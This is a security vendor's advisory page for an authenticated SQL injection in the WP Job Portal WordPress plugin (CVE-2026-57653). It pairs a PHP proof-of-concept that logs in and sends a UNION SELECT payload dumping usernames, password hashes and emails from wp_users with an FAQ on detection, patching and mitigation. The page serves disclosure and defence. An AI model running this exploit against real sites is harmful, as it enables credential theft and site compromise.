Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57653 - WP Job Portal <= 2.5.2 Authenticated SQL Injection
// This script demonstrates how an authenticated attacker can exploit the SQL injection
// via the 'sendmailtofriendJobManager' AJAX action.

// Configuration - Set these variables before running
$target_url = 'http://example.com'; // WordPress site URL (no trailing slash)
$username   = 'contributor';         // WordPress username with Contributor+ role
$password   = 'password';            // WordPress user password

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log'     => $username,
    'pwd'     => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie'  => 1
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);

echo "[+] Logged in as: $usernamen";

// Step 2: Get the admin-ajax nonce (required for authenticated AJAX requests)
// The nonce is typically embedded in the page, but we can attempt a direct request
// Since the vulnerability is that the plugin does not properly escape input,
// we target the AJAX handler directly.

$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Step 3: Craft the SQL injection payload
// The vulnerable parameter is 'friend_email' in the 'sendmailtofriendJobManager' action.
// We inject a UNION SELECT to extract user credentials.
// Note: The exact column count and query structure may vary; adjust as needed.

$sql_payload = "test@example.com' UNION SELECT user_login,user_pass,user_email,user_registered FROM wp_users-- ";

$post_data = array(
    'action'           => 'sendmailtofriendJobManager',
    'friend_email'     => $sql_payload,
    'post_id'          => '1',
    'friend_name'      => 'Test',
    // Add other required fields based on plugin logic
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

echo "[+] Sent exploit request to: $ajax_urln";
echo "[+] Response:n$responsen";

// Clean up temporary cookie file
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

What is CVE-2026-57653?
Vulnerability Overview
CVE-2026-57653 is a SQL Injection vulnerability in the WP Job Portal plugin for WordPress, affecting versions up to and including 2.5.2. It allows authenticated attackers with contributor-level access or higher to execute arbitrary SQL queries by injecting malicious input into a vulnerable parameter.
How does the SQL injection work?
Exploitation Mechanism
The vulnerability exists in the plugin’s AJAX handler, where user-supplied parameters are directly concatenated into SQL queries without proper escaping or prepared statements. An attacker sends a crafted POST request to the WordPress AJAX endpoint with a malicious payload in a parameter like ‘friend_email’, which is then embedded into an SQL query, allowing data extraction.
Who is affected by this vulnerability?
Affected Users
Any WordPress site running WP Job Portal version 2.5.2 or earlier is affected. The vulnerability requires authentication with at least contributor-level privileges, so sites with multiple authors or user registration enabled are at higher risk.
How can I check if my site is vulnerable?
Detection
Check the installed version of WP Job Portal in the WordPress admin dashboard under Plugins. If the version is 2.5.2 or lower, the site is vulnerable. Additionally, you can review the plugin’s changelog or compare the file ‘includes/ajax.php’ for the presence of vulnerable AJAX actions like ‘sendmailtofriendJobManager’.
What is the CVSS score and what does it mean?
Risk Assessment
The CVSS score is 6.5, which is classified as Medium severity. This means the vulnerability has a moderate impact on confidentiality, as it allows data extraction, but requires authentication and user interaction, limiting the attack surface.
What data can an attacker extract?
Potential Impact
An attacker can extract sensitive information from the WordPress database, including usernames, password hashes, user email addresses, and any other data stored in custom plugin tables. This could lead to further compromise of user accounts or the site.
How do I fix this vulnerability?
Patch and Mitigation
Update the WP Job Portal plugin to version 2.5.3 or later, which contains the patch. The patch removes or refactors the vulnerable AJAX handler functions and uses proper parameterized queries. If immediate update is not possible, consider disabling the plugin temporarily or restricting contributor-level access.
What does the patch change?
Patch Analysis
The patch removes several AJAX action entries from the allowed list in ‘includes/ajax.php’, including ‘sendmailtofriendJobManager’ and ‘getTellaFriendJobManager’, which contained the vulnerable SQL queries. It also modifies the ‘wpjobportalupdater.php’ file by removing the ‘jsCheckVersionUpdate()’ method.
How does the proof of concept (PoC) work?
PoC Explanation
The PoC script authenticates as a contributor-level user and sends a crafted POST request to the WordPress AJAX endpoint with the action set to ‘sendmailtofriendJobManager’ and a malicious SQL payload in the ‘friend_email’ parameter. This demonstrates how an attacker can exploit the vulnerability to extract data.
Can this vulnerability be exploited without authentication?
Authentication Requirement
No, the vulnerability requires authentication with at least contributor-level privileges. Unauthenticated users cannot directly exploit it. However, on sites with open registration or compromised contributor accounts, the risk increases.
What should I do if I suspect my site has been compromised?
Incident Response
Immediately update the plugin to version 2.5.3, change all user passwords, especially for contributor and higher roles, and review database logs for unauthorized queries. Consider using a security plugin to monitor for SQL injection attempts and audit user activity.
Are there any temporary mitigations if I cannot update?
Workarounds
If updating is not possible, you can disable the WP Job Portal plugin until a patch is applied. Alternatively, restrict contributor-level access to trusted users only and consider using a web application firewall (WAF) to block SQL injection patterns.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started